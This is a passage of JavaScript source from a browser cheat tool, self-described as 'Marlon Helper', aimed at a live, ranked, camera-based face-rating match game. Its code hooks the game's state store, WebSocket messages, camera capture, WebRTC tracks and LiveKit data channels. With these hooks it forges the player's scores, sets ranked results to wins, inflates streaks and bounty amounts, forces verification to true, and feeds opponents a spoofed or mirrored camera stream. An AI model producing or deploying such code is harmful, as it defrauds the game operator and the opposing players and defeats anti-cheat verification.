if (_isOpponentKey(k)) continue;
if (typeof v === 'number') {
if (_cmQualityKeys.has(k) && v >= 0 && v <= 1 && v !== 1) {
obj[k] = 1.0; mod = true;
} else if (v > 1.0 && v <= 11.0 && !Number.isInteger(v) && v !== target) {
obj[k] = newFloat; mod = true;
} else if (v > 1000 && v < 99999999 && Number.isInteger(v) && v !== raw) {
obj[k] = raw; mod = true;
}
} else if (typeof v === 'object' && v !== null) {
if (_patchNested(v)) mod = true;
}
}
return mod;
}
// Patch nested objects: result, rankedResult, payload, data, etc.
for (const nestedKey of ['result', 'rankedResult', 'payload', 'data', 'finalPayloads', 'matchResult', 'bountyResult']) {
if (state[nestedKey] && typeof state[nestedKey] === 'object') {
if (_patchNested(state[nestedKey])) {
patch[nestedKey] = { ...state[nestedKey] };
changed = true;
}
}
}
if (changed && typeof store.setState === 'function') {
store.setState(patch);
_lastSpoofedScore = target;
spoofPanel();
log('[BRUTE] store state patched: ' + Object.keys(patch).join(','));
}
} catch(e) {}
}, 200);
let _lastCapMin = null, _lastCapMax = null;
let _matchId = null;
let _matchPhaseTrace = [];
function _traceMatch(phase, data) {
if (!_matchId) _matchId = Date.now().toString(36) + Math.random().toString(36).substring(2, 6);
const entry = { t: Date.now(), phase, data };
_matchPhaseTrace.push(entry);
if (_matchPhaseTrace.length > 100) _matchPhaseTrace.shift();
const dataStr = typeof data === 'object' ? JSON.stringify(data).substring(0, 200) : String(data).substring(0, 200);
log(`[TRACE:${_matchId}] ${phase}: ${dataStr}`);
}
const SCORE_RAW_MAX = 500000;
const SCORE_FLOAT_MAX = 50.0;
function _clampScore(val) {
if (typeof val !== 'number') return val;
if (val > SCORE_FLOAT_MAX) return SCORE_FLOAT_MAX;
if (val < 0) return 0;
return val;
}
function _clampRaw(val) {
if (typeof val !== 'number') return val;
if (val > SCORE_RAW_MAX) return SCORE_RAW_MAX;
if (val < 0) return 0;
return val;
}
var _rangeTarget = null, _rangeLastUpdate = 0;
function _getTargetScore() {
if (CONFIG.scoreMode === 'range') {
var min = _sanitizeScore(CONFIG.scoreRangeMin) ?? 100000;
var max = _sanitizeScore(CONFIG.scoreRangeMax) ?? 100000;
if (min >= max) return parseFloat(SCORE_MAX.toFixed(1));
var now = Date.now();
if (_rangeTarget === null || now - _rangeLastUpdate > 1100) {
var raw = min + Math.random() * (max - min);
_rangeTarget = parseFloat(Math.max(SCORE_MIN, Math.min(SCORE_MAX, raw / 10000)).toFixed(1));
_rangeLastUpdate = now;
}
return _rangeTarget;
}
var fixed = _sanitizeScore(CONFIG.fixedScore) ?? 100000;
var base = fixed / 10000;
return parseFloat(Math.max(SCORE_MIN, Math.min(SCORE_MAX, base)).toFixed(1));
}
function patchStore(store) {
try {
if (store.__cmStorePatched) return true;
const state = store.getState();
// ── Helper: get the spoofed score in the format the caller expects ──
// _scoreFloat = score control (live frames), _resultFloat = result (finalize only)
function _scoreFloat() { return _getTargetScore(); }
function _scoreRaw() { return Math.round(_getTargetScore() * 10000); }
function _resultFloat() { return CONFIG.resultEnabled ? _getFinalTarget() / 10000 : _getTargetScore(); }
function _resultRaw() { return CONFIG.resultEnabled ? _getFinalTarget() : Math.round(_getTargetScore() * 10000); }
// ── Hook: setMyScore(score) — uses SCORE CONTROL ──
if (typeof state.setMyScore === 'function') {
const orig = state.setMyScore.bind(store);
store.setState({ setMyScore: function(score) {
if (!CONFIG.scoreEnabled) return orig(score);
const target = _scoreFloat();
_traceMatch('setMyScore', { original: score, target });
log(`[STORE] setMyScore: ${score} → ${target}`);
_lastSpoofedScore = target;
spoofPanel();
return orig(target);
}});
log('Hooked: setMyScore');
}
// ── Hook: setOpponentScore(score) — log only, don't modify ──
if (typeof state.setOpponentScore === 'function') {
const orig = state.setOpponentScore.bind(store);
store.setState({ setOpponentScore: function(score) {
if (!CONFIG.scoreEnabled) return orig(score);
log(`[STORE] setOpponentScore: ${score} (unchanged on our side)`);
return orig(score);
}});
log('Hooked: setOpponentScore (log only)');
}
// ── Hook: setLiveScores(scores) — live match score updates ──
if (typeof state.setLiveScores === 'function') {
const orig = state.setLiveScores.bind(store);
store.setState({ setLiveScores: function(scores) {
if (!CONFIG.scoreEnabled) return orig(scores);
if (scores && typeof scores === 'object') {
const mod = { ...scores };
const target = _scoreFloat();
let changed = false;
if (typeof mod.myScore === 'number') {
const old = mod.myScore;
mod.myScore = target;
if (typeof mod.opponentScore === 'number' && mod.opponentScore > 0) {
_lastOpponentScore = mod.opponentScore;
if (_myPlayerIndex === null) {
_myPlayerIndex = old > mod.opponentScore ? 0 : (mod.opponentScore > old ? 1 : _myPlayerIndex);
_traceMatch('setLiveScores_myPlayerIndex', { myScore: old, opponentScore: mod.opponentScore, _myPlayerIndex });
}
}
_traceMatch('setLiveScores', { oldMyScore: old, newMyScore: target, opponentScore: mod.opponentScore, _myPlayerIndex });
log(`[STORE] setLiveScores.myScore: ${old} → ${target}`);
changed = true;
}
if (typeof mod.myScoreRaw === 'number') {
const old = mod.myScoreRaw;
mod.myScoreRaw = _scoreRaw();
log(`[STORE] setLiveScores.myScoreRaw: ${old} → ${mod.myScoreRaw}`);
changed = true;
}
if (changed) {
_lastSpoofedScore = target;
spoofPanel();
return orig(mod);
}
}
return orig(scores);
}});
log('Hooked: setLiveScores');
}
// ── Hook: startBattleFromAnchor(anchor) — match start ──
if (typeof state.startBattleFromAnchor === 'function') {
const orig = state.startBattleFromAnchor.bind(store);
store.setState({ startBattleFromAnchor: function(anchor) {
if (!CONFIG.scoreEnabled) return orig(anchor);
_myPlayerIndex = null;
_traceMatch('startBattleFromAnchor', { anchor: typeof anchor === 'object' ? JSON.stringify(anchor).substring(0,200) : anchor });
log(`[STORE] startBattleFromAnchor`);
return orig(anchor);
}});
log('Hooked: startBattleFromAnchor');
}
// ── Hook: applyPhaseFromServer(phase) — server phase with potential score data ──
if (typeof state.applyPhaseFromServer === 'function') {
const orig = state.applyPhaseFromServer.bind(store);
store.setState({ applyPhaseFromServer: function(phase) {
if (!CONFIG.scoreEnabled) return orig(phase);
if (phase && typeof phase === 'object') {
const mod = { ...phase };
const target = _scoreFloat();
const raw = _scoreRaw();
let patched = false;
if (typeof mod.myScore === 'number') { mod.myScore = target; patched = true; }
if (typeof mod.myScoreRaw === 'number') { mod.myScoreRaw = raw; patched = true; }
if (typeof mod.score === 'number') { mod.score = target; patched = true; }
if (_myPlayerIndex === null && typeof mod.myScore === 'number' && typeof mod.opponentScore === 'number' && mod.opponentScore > 0) {
_myPlayerIndex = mod.myScore > mod.opponentScore ? 0 : (mod.opponentScore > mod.myScore ? 1 : _myPlayerIndex);
_traceMatch('applyPhase_myPlayerIndex', { myScore: mod.myScore, opponentScore: mod.opponentScore, _myPlayerIndex });
}
_traceMatch('applyPhaseFromServer', { phase_keys: Object.keys(mod).join(','), patched, _myPlayerIndex });
if (patched) {
log(`[STORE] applyPhaseFromServer patched scores`);
return orig(mod);
}
}
return orig(phase);
}});
log('Hooked: applyPhaseFromServer');
}
// ── Hook: applyFinalScores(p1, p2, iAmPlayer1) ──
if (typeof state.applyFinalScores === 'function') {
const orig = state.applyFinalScores.bind(store);
store.setState({ applyFinalScores: function(p1, p2, iAmPlayer1) {
if (!CONFIG.scoreEnabled) return orig(p1, p2, iAmPlayer1);
const target = _resultFloat();
const newP1 = iAmPlayer1 ? target : p1;
const newP2 = iAmPlayer1 ? p2 : target;
_myPlayerIndex = iAmPlayer1 ? 0 : 1;
_lastOpponentScore = iAmPlayer1 ? p2 : p1;
_traceMatch('applyFinalScores', { p1, p2, iAmPlayer1, target, newP1, newP2, myPlayerIndex: _myPlayerIndex });
log(`[STORE] applyFinalScores: p1=${p1} p2=${p2} → p1=${newP1} p2=${newP2} iAm=${iAmPlayer1}`);
_finalApplied = true;
spoofPanel();
return orig(newP1, newP2, iAmPlayer1);
}});
log('Hooked: applyFinalScores');
}
// ── Hook: setFinalPayloads(payloads) ──
if (typeof state.setFinalPayloads === 'function') {
const orig = state.setFinalPayloads.bind(store);
store.setState({ setFinalPayloads: function(payloads) {
if (!CONFIG.scoreEnabled) return orig(payloads);
const target = _resultFloat();
const raw = _resultRaw();
if (payloads && typeof payloads === 'object') {
const mod = { ...payloads };
for (const f of ['myScore','score','selfScore','finalScore','your_score','yourScore','userScore','playerScore','overall']) {
if (typeof mod[f] === 'number') mod[f] = target;
}
if (typeof mod.selfScoreRaw === 'number') mod.selfScoreRaw = raw;
if (typeof mod.e === 'number' || typeof mod.e === 'string') { mod.e = String(raw); }
if (Array.isArray(mod.scores)) {
const idx = mod.scores[0] >= mod.scores[1] ? 0 : 1;
mod.scores[idx] = target;
}
log(`[STORE] setFinalPayloads patched`);
return orig(mod);
}
return orig(payloads);
}});
log('Hooked: setFinalPayloads');
}
// ── Hook: setRankedResult(result) ──
if (typeof state.setRankedResult === 'function') {
const orig = state.setRankedResult.bind(store);
store.setState({ setRankedResult: function(result) {
if (!CONFIG.scoreEnabled) return orig(result);
if (result && typeof result === 'object') {
const mod = { ...result };
const target = _resultFloat();
const raw = _resultRaw();
for (const f of ['myScore','score','selfScore','finalScore','your_score','yourScore','userScore','playerScore','totalScore','matchScore']) {
if (typeof mod[f] === 'number') mod[f] = target;
}
if (typeof mod.selfScoreRaw === 'number') mod.selfScoreRaw = raw;
for (const f of ['opponentScore','rivalScore','opponent_score','enemyScore']) {
if (typeof mod[f] === 'number') _lastOpponentScore = mod[f];
}
mod.winner = 'self';
mod.result = 'win';
log(`[STORE] setRankedResult patched`);
return orig(mod);
}
return orig(result);
}});
log('Hooked: setRankedResult');
}
// ── Hook: setEloChange(elo) — pass through (no boost) ──
if (typeof state.setEloChange === 'function') {
const orig = state.setEloChange.bind(store);
store.setState({ setEloChange: function(elo) {
if (!CONFIG.scoreEnabled) return orig(elo);
log(`[STORE] setEloChange: ${elo}`);
return orig(elo);
}});
log('Hooked: setEloChange');
}
// ── Hook: setMyNewWinStreak(streak) ──
if (typeof state.setMyNewWinStreak === 'function') {
const orig = state.setMyNewWinStreak.bind(store);
store.setState({ setMyNewWinStreak: function(streak) {
if (!CONFIG.scoreEnabled) return orig(streak);
const boosted = Math.max(streak, Math.round(Math.random() * 20) + 10);
log(`[STORE] setMyNewWinStreak: ${streak} → ${boosted}`);
return orig(boosted);
}});
log('Hooked: setMyNewWinStreak');
}
// ── Hook: setVerified(val) ──
if (typeof state.setVerified === 'function') {
const orig = state.setVerified.bind(store);
store.setState({ setVerified: function(val) {
log(`[STORE] setVerified: ${val} → true`);
return orig(true);
}});
log('Hooked: setVerified');
}
// ── Hook: setMatchStreaks(streaks) ──
if (typeof state.setMatchStreaks === 'function') {
const orig = state.setMatchStreaks.bind(store);
store.setState({ setMatchStreaks: function(streaks) {
if (!CONFIG.scoreEnabled) return orig(streaks);
if (streaks && typeof streaks === 'object') {
const mod = { ...streaks };
if (typeof mod.wins === 'number') { mod.wins = mod.wins + Math.round(Math.random() * 5); }
if (typeof mod.winStreak === 'number') { mod.winStreak = mod.winStreak + Math.round(Math.random() * 3); }
log(`[STORE] setMatchStreaks patched`);
return orig(mod);
}
return orig(streaks);
}});
log('Hooked: setMatchStreaks');
}
// ── Hook: setMyBountyResult(bounty) ──
if (typeof state.setMyBountyResult === 'function') {
const orig = state.setMyBountyResult.bind(store);
store.setState({ setMyBountyResult: function(bounty) {
if (!CONFIG.scoreEnabled) return orig(bounty);
if (bounty && typeof bounty === 'object') {
const mod = { ...bounty };
if (typeof mod.collected === 'boolean') { mod.collected = true; }
if (typeof mod.amount === 'number') { mod.amount = mod.amount + Math.round(Math.random() * 500); }
log(`[STORE] setMyBountyResult patched`);
return orig(mod);
}
return orig(bounty);
}});
log('Hooked: setMyBountyResult');
}
// ── Hook: forceFinishIfCalculating() ──
if (typeof state.forceFinishIfCalculating === 'function') {
const orig = state.forceFinishIfCalculating.bind(store);
store.setState({ forceFinishIfCalculating: function() {
log(`[STORE] forceFinishIfCalculating called`);
return orig();
}});
log('Hooked: forceFinishIfCalculating');
}
// ── Catch-all setState hook (backup — score control) ──
const origSetState = store.setState.bind(store);
const _minifiedScoreKeys = new Set();
const _minifiedRawScoreKeys = new Set();
function _patchStateObj(mod) {
if (!mod || typeof mod !== 'object') return null;
let changed = false;
const target = _clampScore(_scoreFloat());
const raw = _clampRaw(Math.round(target * 10000) + (CONFIG.scoreBoost || 0));
const patched = { ...mod };
const _pqQualityKeys = ['looking', 'attention', 'smile', 'smiling', 'mouthOpen', 'quality', 'confidence', 'readiness', 'engagement', 'focus', 'eyeContact', 'faceQuality', 'trackingQuality', 'detectionQuality'];
if ('myScore' in patched) { patched.myScore = target; changed = true; }
if ('myScoreRaw' in patched) { patched.myScoreRaw = raw; changed = true; }
if ('selfScore' in patched && typeof patched.selfScore === 'number') { patched.selfScore = target; changed = true; }
if ('selfScoreRaw' in patched && typeof patched.selfScoreRaw === 'number') { patched.selfScoreRaw = raw; changed = true; }
if ('score' in patched && typeof patched.score === 'number' && patched.score >= 0) { patched.score = target; changed = true; }
if ('overall' in patched) { patched.overall = target; changed = true; }
if ('overallScore' in patched && typeof patched.overallScore === 'number') { patched.overallScore = target; changed = true; }
for (const [k, v] of Object.entries(patched)) {
if (_isOpponentKey(k)) continue;
if (typeof v === 'number') {
if (_pqQualityKeys.includes(k) && v >= 0 && v <= 1 && v !== 1) {
patched[k] = 1.0; changed = true;
} else if (v > 1.0 && v <= 11.0 && !Number.isInteger(v)) {
_minifiedScoreKeys.add(k);
patched[k] = target;
changed = true;
} else if (v > 1000 && v < 99999999 && Number.isInteger(v)) {
_minifiedRawScoreKeys.add(k);
patched[k] = raw;
changed = true;
} else if (_minifiedScoreKeys.has(k)) {
patched[k] = target;
changed = true;
} else if (_minifiedRawScoreKeys.has(k)) {
patched[k] = raw;
changed = true;
}
} else if (typeof v === 'object' && v !== null && !Array.isArray(v)) {
// Recurse into nested objects (e.g., result: { score: 9.7, ... })
const sub = _patchStateObj(v);
if (sub) {
patched[k] = sub;
changed = true;
}
}
}
if (changed) {
_lastSpoofedScore = target;
spoofPanel();
return patched;
}
return null;
}
store.setState = function(partial) {
if (!CONFIG.scoreEnabled || CONFIG.verifBypassActive) return origSetState(partial);
if (typeof partial === 'function') {
const wrapped = (state) => {
const mod = partial(state);
const patched = _patchStateObj(mod);
return patched || mod;
};
return origSetState(wrapped);
}
const patched = _patchStateObj(partial);
return origSetState(patched || partial);
};
store.__cmStorePatched = true;
log('patchStore: all store actions hooked + setState catch-all');
return true;
} catch(e) {
log('patchStore error:', e);
return false;
}
}
const TIER_MAP = [
{ name: 'Adam', emoji: '🍎', hexColor: '#ef4444', textShadow: '0 0 12px rgba(239,68,68,0.95)', min: 9.7 },
{ name: 'Slayer', emoji: '☠️', hexColor: '#f472b6', textShadow: '0 0 12px rgba(244,114,182,0.9)', min: 9.5 },
{ name: 'Chad', emoji: '👑', hexColor: '#fb923c', textShadow: '0 0 10px rgba(251,146,60,0.8)', min: 8.9 },
{ name: 'Chadlite', emoji: '⚜️', hexColor: '#facc15', textShadow: '0 0 8px rgba(250,204,21,0.8)', min: 8.3 },
{ name: 'HTN', emoji: '🌟', hexColor: '#a3e635', textShadow: '0 0 8px rgba(163,230,53,0.8)', min: 7.0 },
{ name: 'MTN', emoji: '⭐', hexColor: '#86efac', textShadow: '0 0 6px rgba(134,239,172,0.7)', min: 5.6 },
{ name: 'LTN', emoji: '🌙', hexColor: '#34d399', textShadow: '0 0 6px rgba(52,211,153,0.6)', min: 3.1 },
{ name: 'Sub3', emoji: '🦀', hexColor: '#b45309', textShadow: '0 0 6px rgba(180,83,9,0.7)', min: 0.1 },
];
let _dynamicCap = null;
let _lastSpoofedScore = _getTargetScore();
let _lastOpponentScore = null;
let _lastLogTime = 0;
let _lastDcLogTime = 0;
let _scoreFluctuationInterval = null;
function startScoreFluctuation() {
if (_scoreFluctuationInterval) return;
let _flucCounter = 0;
const _pushSpoofed = function() {
if (!CONFIG.scoreEnabled || CONFIG.verifBypassActive) return;
if (_dynamicCap === null) {
_dynamicCap = Math.round((CONFIG.scoreRangeMin + CONFIG.scoreRangeMax) / 2000) * 1000;
}
if (CONFIG.scoreMode === 'range') {
if (Math.random() < 0.5) {
_dynamicCap += 1000;
} else {
_dynamicCap -= 1000;
}
_dynamicCap = Math.max(CONFIG.scoreRangeMin, Math.min(CONFIG.scoreRangeMax, _dynamicCap));
}
const currentTarget = _getTargetScore();
_lastSpoofedScore = currentTarget;
// Every 10th tick (~1 second), force a full DOM re-search to catch new panels
_flucCounter++;
if (_flucCounter % 10 === 0) {
_cacheValid = false;
spoofPanel(true);
} else {
spoofPanel();
}
if (_storeRef) {
try {
const s = _storeRef.getState();
if (typeof s.setMyScore === 'function') {
s.setMyScore(currentTarget);
}
} catch(e) {}
}
};
_pushSpoofed();
_scoreFluctuationInterval = setInterval(_pushSpoofed, 100);
}
function _pushScoreOnDc(target) {
// Disabled — extra DC frames caused conflicting score display on opponent's side.
// Reactive patching via _hookDataChannel is sufficient.
}
function stopScoreFluctuation() {
if (_scoreFluctuationInterval) {
clearInterval(_scoreFluctuationInterval);
_scoreFluctuationInterval = null;
}
}
let _cachedScoreSpan = null;
let _cachedTierSpan = null;
let _cacheValid = false;
function _invalidateCache() { _cacheValid = false; }
const _bodyObserver = new MutationObserver(() => { try { _invalidateCache(); spoofPanel(); } catch(e) {} });
_bodyObserver.observe(document.documentElement || document.body, { childList: true, subtree: true });
startScoreFluctuation();
function getTierForScore(score) {
for (const tier of TIER_MAP) {
if (score >= tier.min) return tier;
}
return TIER_MAP[TIER_MAP.length - 1];
}
function _fmtScore(val) {
if (val === null || val === undefined || isNaN(val)) return '0.0';
return val.toFixed(1);
}
function _updateCustomOverlay(show) {
let el = document.getElementById('__cm_overlay');
if (!show) {
if (el) el.style.display = 'none';
return;
}
if (!el) {
el = document.createElement('div');
el.id = '__cm_overlay';
el.style.cssText = 'position:fixed;top:16px;right:16px;z-index:99999;pointer-events:none;user-select:none;font-family:monospace;font-size:0;line-height:0;';
if (document.body) document.body.appendChild(el);
}
el.style.display = 'block';
}
function _isInsideCheatMenu(el) {
let node = el;
while (node) {
if (node.id === 'cm-root' || node.id === '__cm_overlay' || node.id === 'cm-watermark' || node.id === 'cm-controlbar') return true;
node = node.parentElement;
}
return false;
}
function spoofPanel(noCache) {
if (_lastSpoofedScore === null) return;
const displayScore = _lastSpoofedScore;
const wantScore = _fmtScore(displayScore);
// Use cache only if span is still connected AND still inside the game DOM (not orphaned)
if (!noCache && _cacheValid && _cachedScoreSpan && _cachedScoreSpan.isConnected && !_isInsideCheatMenu(_cachedScoreSpan)) {
// Extra validation: make sure the element is still visible and part of the active game UI
const rect = _cachedScoreSpan.getBoundingClientRect();
if (rect.width > 0 && rect.height > 0) {
if (_cachedScoreSpan.textContent.trim() !== wantScore) {
_cachedScoreSpan.textContent = wantScore;
}
_updateCustomOverlay(false);
return;
}
// Element exists but not visible (e.g., page transitioned) — invalidate
_cacheValid = false;
}
// Always invalidate cache if span is disconnected or inside cheat menu
if (_cachedScoreSpan && (!_cachedScoreSpan.isConnected || _isInsideCheatMenu(_cachedScoreSpan))) {
_cacheValid = false;
_cachedScoreSpan = null;
}
let myPanel = document.querySelector('.glass-panel.absolute.top-5') ||
document.querySelector('.glass-panel.absolute.top-8') ||
document.querySelector('[class*="glass-panel"][class*="absolute"][class*="left"]') ||
document.querySelector('[class*="glass-panel"][class*="absolute"][class*="top"]') ||
document.querySelector('[class*="ranked"][class*="score"]') ||
document.querySelector('[class*="player-score"]') ||
document.querySelector('[class*="my-score"]');
// Exclude cheat menu panels from matching
if (myPanel && _isInsideCheatMenu(myPanel)) myPanel = null;
if (!myPanel) {
const allPanels = document.querySelectorAll('[class*="glass"], [class*="panel"], [class*="score-card"]');
for (const p of allPanels) {
if (_isInsideCheatMenu(p)) continue;
const spans = p.querySelectorAll('span.font-mono');
for (const s of spans) {
if (/^\d+\.?\d*$/.test(s.textContent.trim())) { myPanel = p; break; }
}
if (myPanel) break;
}
}
if (!myPanel) {
const allEls = document.querySelectorAll('span, div, p, h1, h2, h3');
for (const el of allEls) {
if (_isInsideCheatMenu(el)) continue;
const txt = el.textContent.trim();
if (/^\d{1,2}\.\d{1,2}$/.test(txt)) {
const num = parseFloat(txt);
if (num > 0 && num <= 10) { myPanel = el.parentElement; break; }
}
}
}
if (!myPanel) {
_updateCustomOverlay(true);
return;
}
let scoreSpan = null;
const allMono = myPanel.querySelectorAll('span.font-mono');
for (const s of allMono) {
if (_isInsideCheatMenu(s)) continue;
if (/^\d+\.?\d*$/.test(s.textContent.trim())) { scoreSpan = s; break; }
}
if (!scoreSpan) {
const allS = myPanel.querySelectorAll('span');
for (const s of allS) {
if (_isInsideCheatMenu(s)) continue;
const txt = s.textContent.trim();
if (/^\d{1,2}\.\d{1,2}$/.test(txt) || /^\d{1,2}$/.test(txt)) { scoreSpan = s; break; }
}
}
if (!scoreSpan) {
_updateCustomOverlay(true);
return;
}
_cachedScoreSpan = scoreSpan;
_cacheValid = true;
_updateCustomOverlay(false);
if (scoreSpan.textContent.trim() !== wantScore) {
scoreSpan.textContent = wantScore;
}
}
function _spoofLoop() {
if (!CONFIG.verifBypassActive) {
try { spoofPanel(); } catch(e) {}
}
requestAnimationFrame(_spoofLoop);
}
requestAnimationFrame(_spoofLoop);
const OriginalWebSocket = _window.WebSocket;
_window.WebSocket = function(...args) {
const ws = new OriginalWebSocket(...args);
// Log incoming messages and set spoofed score
ws.addEventListener('message', function(event) {
try {
const dataStr = typeof event.data === 'string' ? event.data : new TextDecoder().decode(event.data instanceof ArrayBuffer ? event.data : new Uint8Array(event.data));
const clean = dataStr.replace(/[^\x20-\x7E]/g, '');
if (clean && (clean.includes('p') || clean.includes('score') || clean.includes('elo'))) {
logT('WS-IN', clean.substring(0, 300));
}
try {
const parsed = JSON.parse(clean);
if (parsed && scoreSpoofAllowed()) {
const yourScore = parsed?.payload?.your_score ?? parsed?.your_score;
if (typeof yourScore === 'number') {
const target = _getTargetScore();
_lastSpoofedScore = target;
spoofPanel();
}
// Set spoofed score preemptively on match start
if (parsed.type === 'match_started' || parsed.type === 'phase_change') {
const target = _getTargetScore();
_myPlayerIndex = null;
_lastOpponentScore = null;
// Force cache invalidation on match transition so spoofPanel re-searches the DOM
_cacheValid = false;
_cachedScoreSpan = null;
if (_lastSpoofedScore === null || _lastSpoofedScore !== target) {
_lastSpoofedScore = target;
spoofPanel(true);
} else {
spoofPanel(true);
}
_traceMatch(parsed.type, { your_score: parsed.your_score, opponent_score: parsed.opponent_score, payload: parsed.payload, target: _getTargetScore() });
}
// Trace live_score updates + track player index + track opponent score
if (parsed.type === 'live_score') {
_traceMatch('live_score', { your_score: parsed.your_score, opponent_score: parsed.opponent_score, target: _getTargetScore() });
if (_myPlayerIndex === null && typeof parsed.payload?.your_score === 'number' && typeof parsed.payload?.p1_score === 'number' && typeof parsed.payload?.p2_score === 'number') {
const ys = parsed.payload.your_score;
const p1 = parsed.payload.p1_score;
const p2 = parsed.payload.p2_score;
const ysOrig = ys > 100 ? ys / 10000 : ys;
const p1Orig = p1 > 100 ? p1 / 10000 : p1;
const p2Orig = p2 > 100 ? p2 / 10000 : p2;
_myPlayerIndex = Math.abs(ysOrig - p1Orig) < Math.abs(ysOrig - p2Orig) ? 0 : 1;
_traceMatch('live_score_myPlayerIndex', { ysOrig, p1Orig, p2Orig, _myPlayerIndex });
}
if (_myPlayerIndex !== null && typeof parsed.payload?.p1_score === 'number' && typeof parsed.payload?.p2_score === 'number') {
const oppKey = _myPlayerIndex === 0 ? 'p2_score' : 'p1_score';
_lastOpponentScore = parsed.payload[oppKey];
}
}
// Trace match_result
if (parsed.type === 'match_result' || parsed.result === 'win' || parsed.result === 'loss' || parsed.result === 'draw') {
_traceMatch('match_result', { p1_score: parsed.p1_score, p2_score: parsed.p2_score, opponent_score: parsed.opponent_score, result: parsed.result });
}
// Trace score_submit responses
if (parsed.type === 'score_submit') {
_traceMatch('score_submit_resp', { self_score: parsed.payload?.self_score, opponent_score: parsed.payload?.opponent_score });
}
}
} catch(e) {}
} catch(e) {}
});
return ws;
};
Object.setPrototypeOf(_window.WebSocket, OriginalWebSocket);
_window.WebSocket.prototype = OriginalWebSocket.prototype;
['CONNECTING','OPEN','CLOSING','CLOSED'].forEach(k => {
try {
Object.defineProperty(_window.WebSocket, k, {
value: OriginalWebSocket[k],
writable: false,
configurable: true
});
} catch(e) {}
});
log('v13.9.0 Marlon Helper loaded - CGJ Unicode 034F exploit active');
const _trueOriginalGetUserMedia = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
let _camSpoofActive = false;
let _camStream = null;
let _origAddTrack = null;
function _makeGumHook() {
return async function(constraints) {
// Virtual cam spoof takes priority over mirror cam
if (_camSpoofActive && _camStream && constraints && (constraints.video || constraints.video === true)) {
log('[CAM SPOOF] Intercepting getUserMedia - returning spoofed stream');
setTimeout(() => {
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid) scannerVid.srcObject = _camStream;
const fakeTrack = _camStream?.getVideoTracks()[0];
if (fakeTrack) {
// If mirror opponent cam is active, send opponent's track instead of spoofed
if (CONFIG.mirrorOpponentCam === true && _opponentVideoTrack) {
_replaceFirstVideoSender(_opponentVideoTrack);
} else {
_replaceFirstVideoSender(fakeTrack);
}
}
}, 100);
if (constraints.audio) {
try {
const realAudio = await _trueOriginalGetUserMedia({ audio: constraints.audio });
return new MediaStream([
..._camStream.getVideoTracks(),
...realAudio.getAudioTracks()
]);
} catch(e) {
return _camStream;
}
}
return _camStream;
}
// Mirror cam: let real getUserMedia proceed (sender replaced via replaceTrack)
if (CONFIG.mirrorOpponentCam === true && _opponentVideoTrack && constraints && (constraints.video || constraints.video === true)) {
const stream = await _trueOriginalGetUserMedia(constraints);
_replaceFirstVideoSender(_opponentVideoTrack);
stream.getVideoTracks().forEach(t => {
t.addEventListener('ended', () => log('VIDEO TRACK ENDED:', t.label));
t.addEventListener('mute', () => log('VIDEO TRACK MUTED:', t.label));
});
return stream;
}
const stream = await _trueOriginalGetUserMedia(constraints);
stream.getVideoTracks().forEach(t => {
t.addEventListener('ended', () => log('VIDEO TRACK ENDED:', t.label));
t.addEventListener('mute', () => log('VIDEO TRACK MUTED:', t.label));
});
return stream;
};
}
const _gumHook = _makeGumHook();
navigator.mediaDevices.getUserMedia = _gumHook;
if (_window.navigator && _window.navigator.mediaDevices && _window.navigator.mediaDevices.getUserMedia) {
_window.navigator.mediaDevices.getUserMedia = _gumHook;
}
// ── addTrack hook: installed early for cam spoof (mirror cam handled via replaceTrack) ──
if (!_origAddTrack) {
const _protoRTC = (_window.RTCPeerConnection || RTCPeerConnection).prototype;
_origAddTrack = _protoRTC.addTrack;
_protoRTC.addTrack = function(track, ...streams) {
if (track.kind === 'video' && _camSpoofActive && _camStream) {
const fakeTrack = _camStream.getVideoTracks()[0];
if (fakeTrack) return _origAddTrack.call(this, fakeTrack, ...streams);
}
return _origAddTrack.call(this, track, ...streams);
};
}
// ── RTCDataChannel.prototype.send catch-all (delegates to native send) ──
_rtcDcProto.send = function(data) {
const dc = this;
if (!dc.__cmHooked) _hookDataChannel(dc);
return dc.__cmNativeSend ? dc.__cmNativeSend(data) : _origNativeDcSend.call(dc, data);
};
// ── LiveKit Room hook (intercepts publishData) ──
const _hookedRoomIds = new Set();
const _pendingRooms = new Set();
function _hookLiveKitRoom(room) {
try {
const part = room.localParticipant;
if (!part) {
if (!_pendingRooms.has(room)) {
_pendingRooms.add(room);
let attempts = 0;
const retry = function() {
attempts++;
if (room.localParticipant) {
_pendingRooms.delete(room);
_doHookLiveKitRoom(room);
} else if (attempts < 50) {
setTimeout(retry, 200);
} else {
_pendingRooms.delete(room);
}
};
setTimeout(retry, 200);
}
return;
}
_doHookLiveKitRoom(room);
} catch(e) {}
}
function _doHookLiveKitRoom(room) {
try {
const part = room.localParticipant;
if (!part) return;
const roomId = room.sid || room.roomSid || room.name || part.sid || part.identity || room;
if (_hookedRoomIds.has(roomId)) return;
_hookedRoomIds.add(roomId);
// Hook publishData for score interception
function _patchLkData(data) {
if (typeof data === 'string') return data;
if (data instanceof Uint8Array || data instanceof ArrayBuffer) return new TextDecoder().decode(data instanceof Uint8Array ? data : new Uint8Array(data));
if (data && typeof data === 'object') return JSON.stringify(data);
return null;
}
function _tryPatchLkPublish(data, kind, origSend) {
try {
const lkStr = _patchLkData(data);
if (!lkStr) return null;
const clean = lkStr.replace(/[^\x20-\x7E]/g, '');
const parsed = JSON.parse(clean);
let mod = false;
if (typeof parsed.p === 'number' && typeof parsed.q === 'number' && parsed.q > 0) {
if (_myPlayerIndex === null && (parsed.p === 0 || parsed.p === 1)) {
_myPlayerIndex = parsed.p;
_traceMatch('lk_pq_myPlayerIndex', { p: parsed.p });
}
// Only patch OUR score frames — don't inflate opponent's score on their screen
if (_myPlayerIndex !== null && parsed.p !== _myPlayerIndex) {
return null;
}
const target = _getTargetScore();
const oldQ = parsed.q;
const newScore = Math.round(target * 10000) + CONFIG.scoreBoost;
const newFloat = target + (CONFIG.scoreBoost / 10000);
parsed.q = newScore;
if (typeof parsed.score === 'number') parsed.score = newFloat;
if (typeof parsed.overall === 'number') parsed.overall = newFloat;
if (typeof parsed.your_score === 'number') parsed.your_score = newFloat;
if (typeof parsed.yourScore === 'number') parsed.yourScore = newFloat;
if (typeof parsed.self_score === 'number') parsed.self_score = newFloat;
if (parsed.payload && typeof parsed.payload === 'object') {
parsed.payload.overall = newFloat;
if (typeof parsed.payload.score === 'number') parsed.payload.score = newFloat;
if (typeof parsed.payload.your_score === 'number') parsed.payload.your_score = newFloat;
if (typeof parsed.payload.self_score === 'number') parsed.payload.self_score = newFloat;
}
